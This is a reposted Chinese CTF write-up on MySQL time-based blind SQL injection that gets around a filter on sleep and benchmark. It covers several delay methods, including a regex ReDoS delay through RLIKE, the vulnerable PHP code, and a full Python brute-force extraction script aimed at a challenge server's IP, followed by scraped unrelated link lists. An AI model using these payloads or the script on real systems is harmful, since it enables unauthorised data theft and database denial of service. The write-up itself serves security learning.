转自cdxy师傅:https://www.cdxy.me/?p=789

PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时方法的思考。

延时函数

  • SLEEP
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)
  • BENCHMARK
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*) |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)

延时精确可控,利用环境有限,需要开两个session测试。

SESSION A

mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
SESSION B mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)
  • RLIKE

通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)

PWNHUB-全宇宙最简单的PHP-Writeup

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>

上面代码明显可从id参数注入代码到MySQL UPDATE语句。

从时间盲注的角度解,题中除过滤掉sleepbenchmark两个延时函数之外,并无其他限制。

思路:寻找新的延时函数

想到日常数据开发中自己的SQL中多次因正则消耗计算资源,又想到某次白帽大会上关于正则Dos的议题,然后开始朝RLIKE尝试。

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码等同于 sleep(5)

本地测试

mysql> update view1 set cnt=cnt+1 where id='' and IF(SUBSTR((select 5 from dual),1,1)='',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and ''='';
Query OK, 0 rows affected (5.08 sec)
Rows matched: 0 Changed: 0 Warnings: 0 mysql> update view1 set cnt=cnt+1 where id='' and IF(SUBSTR((select 5),1,1)='',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and ''='';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0

Docker起了个PHP 5.6+MySQL,代码copy过去,构建相同环境测试脚本,爆破到正确字符时,测试机会延时10s左右;遇到错误字符会在0.1s以内返回,可以明显区分。

本地测试执行version()的结果:

N  -  0.0232281684875
O - 0.0197539329529
P - 0.028028011322
Q - 0.0212018489838
R - 0.0244557857513
S - 0.0253188610077
T - 0.0281682014465
U - 0.0236928462982
V - 0.0221898555756
W - 0.0275118350983
X - 0.0206508636475
Y - 0.0258479118347
Z - 0.0194098949432
@ - 0.0250370502472
{ - 0.0211541652679
} - 0.0245869159698
- - 0.0192731937281
_ - 0.0247149467468
. - 0.0188128948212
Error or Finished.
Current Result: 5.5.59-0ubuntu0.14.04.1[NULL][NULL]

线上测试

线上就很蛋疼了。首先环境是每5min重启一次,每次只能在重启的瞬间(0.5s)打上10条请求,然后服务器就被用笛卡尔积的同学打挂了。

二分法懒得搞了,在脚本里加了一些纠错机制,线上环境正误尝试的时间差降为0.2s左右,但仍可以区分。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
from requests.exceptions import ReadTimeout, ConnectionError
from urllib import quote
import time
import re payloads = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}-_.' url = 'http://52.80.179.198:8080/article.php?id='
# url = 'http://localhost:8090/article.php?id=' # 替代sleep()
# 14s
# sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" # 5s
sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" # 本地测试代码
def run_local(query):
def brute_single_char(target_index):
for c in payloads:
payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
confirm_cnt = 0
# print payload
for i in range(10000): # 为了宕机重试
if confirm_cnt > 3: # 连续四次正确尝试,保存结果
print 'FOUND!!! ' + c
return c time_start = time.time()
try:
req = requests.get(url + quote(payload), timeout=20)
if 'Warning' in req.content:
print req.content
if 'helloworld' not in req.content:
print c, 'MySQL Down, retry...'
# print req.content
continue
except ReadTimeout: # 时间长:正确尝试
print c, ' - timeout, retry...'
# confirm_cnt += 1
continue
except ConnectionError:
print c, 'Web Server Down, retry...'
continue # print ans.content
time_end = time.time()
print c, ' - ', time_end - time_start
if time_end - time_start < 5: # 时间短:错误尝试
# print 'false:' + c
break
confirm_cnt += 1
return '[NULL]' # 全部字母未命中 result = ''
try:
for index in range(1, 100):
if len(re.findall(r'\[NULL\]', result)) > 2:
print 'Error or Finished. \nCurrent Result: ' + result
return
result += brute_single_char(index)
except KeyboardInterrupt:
print result # 线上测试代码
def run_sort(query):
def brute_single_char(target_index):
timelist = {}
for c in payloads:
payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
for i in range(10000): # 为了宕机重试
time_start = time.time()
try:
req = requests.get(url + quote(payload), timeout=2)
if 'helloworld' not in req.content:
continue
except ReadTimeout:
print c, ' - timeout, retry...'
continue
except ConnectionError:
continue time_end = time.time()
print c, ' - ', time_end - time_start
timelist[c] = time_end - time_start
break
if not len(timelist):
return '[NULL]' # 全部字母未命中
rec = sorted(timelist.items(), key=lambda item: item[1])
print rec
return rec[-1] result = []
try:
for index in range(7, 100):
print '________INDEX {}_______'.format(index)
result.append(brute_single_char(index))
if result[-1] is '[NULL]':
print 'Error or Finished. \nCurrent Result: '
print result
return
except KeyboardInterrupt:
print result if __name__ == '__main__':
run_sort('(select * from flags)')

以下爆破结果中,3为正确结果,其余为错误结果。

1  -  0.0639481544495
2 - 0.0795040130615
3 - 0.3621571064
4 - 0.0846300125122
5 - 0.0894010066986
6 - 0.0945949554443
7 - 0.0842099189758
8 - 0.0861508846283
9 - 0.0922508239746

之后依次执行以下代码get flag(跑了多少个小时我也不知道。。。)

select count(*) from article -> 3

database() -> post

select count(table_name) from information_schema.tables where table_schema='post' -> 3

select length(table_name) from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' —> 5

select table_name from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' -> flags

select count(*) from flags -> 1

select * from flag

MySQL时间盲注五种延时方法 (PWNHUB 非预期解)的更多相关文章

  1. SQL注入之Sqli-labs系列第十五关和第十六关(基于POST的时间盲注)

    开始挑战第十五关(Blind- Boolian Based- String)和 第十六关(Blind- Time Based- Double quotes- String) 访问地址,输入报错语句 ' ...

  2. 实验吧之【who are you?】(时间盲注)

    地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF ...

  3. 大哥带的Orchel数据库时间盲注

    0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常 ...

  4. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  5. Mysql查看版本号的五种方式介绍

    Mysql查看版本号的五种方式介绍 作者: 字体:[增加 减小] 类型:转载 时间:2013-05-03   一.使用命令行模式进入mysql会看到最开始的提示符;二.命令行中使用status可以看到 ...

  6. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  7. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  8. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

  9. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

随机推荐

  1. .Net基础篇_学习笔记_第六天_类型转换和方法(函数)简介

    类型转换:Convert.ToInt32();  int.Parse();  int.TryParse(); Convert.ToInt32(); 的本质就是在使用 int.Parse(); int. ...

  2. Spring Boot 面试题总结

    1.什么是spring boot 答案:springboot是用来简化spring应用的初始搭建和开发过程,使用特定的配置文件来配置,例如application.properties,简化来maven ...

  3. 为什么StringBuilder是线程不安全的?StringBuffer是线程安全的?

    面试中经常问到的一个问题:StringBuilder和StringBuffer的区别是什么? 我们非常自信的说出:StringBuilder是线程安全的,StirngBuffer是线程不安全的 面试官 ...

  4. Java 集合转换(数组、List、Set、Map相互转换)

    package com.example.test; import java.util.ArrayList; import java.util.Arrays; import java.util.Hash ...

  5. windows导出文件名列表

    新建txt文件,粘贴以下命令: DIR *.*  /B >LIST.TXT 将txt文件的后缀改为.bat 执行bat文件即可

  6. servlet request、response的中文乱码问题

    一.request 1.get请求 get请求的参数是在请求行中的,浏览器使用utf-8进行编码,数据的编码一般为UTF-8,而url请求行的默认编码为ISO-8859-1,一般来说有以下方式可以解决 ...

  7. ZooKeeper单机客户端的启动流程源码阅读

    客户端的启动流程 看上面的客户端启动的脚本图,可以看到,zookeeper客户端脚本运行的入口ZookeeperMain.java的main()方法, 关于这个类可以理解成它是程序启动的辅助类,由它提 ...

  8. Mysql高手系列 - 第14篇:详解事务

    这是Mysql系列第14篇. 环境:mysql5.7.25,cmd命令中进行演示. 开发过程中,会经常用到数据库事务,所以本章非常重要. 本篇内容 什么是事务,它有什么用? 事务的几个特性 事务常见操 ...

  9. 使用System.Text.Json处理Json文档以及部分坑

    System.Text.Json处理Json文档需要用到JsonDocument,JsonElement,JsonProperty. JsonDocument就是一个表示Json文档的东西,JsonE ...

  10. Spring MVC-从零开始-view-forward、redirect

    1.forward或redirect后,不再走viewResolver过程,直接重新从控制器开始 2.代码 package com.jt; import org.springframework.ste ...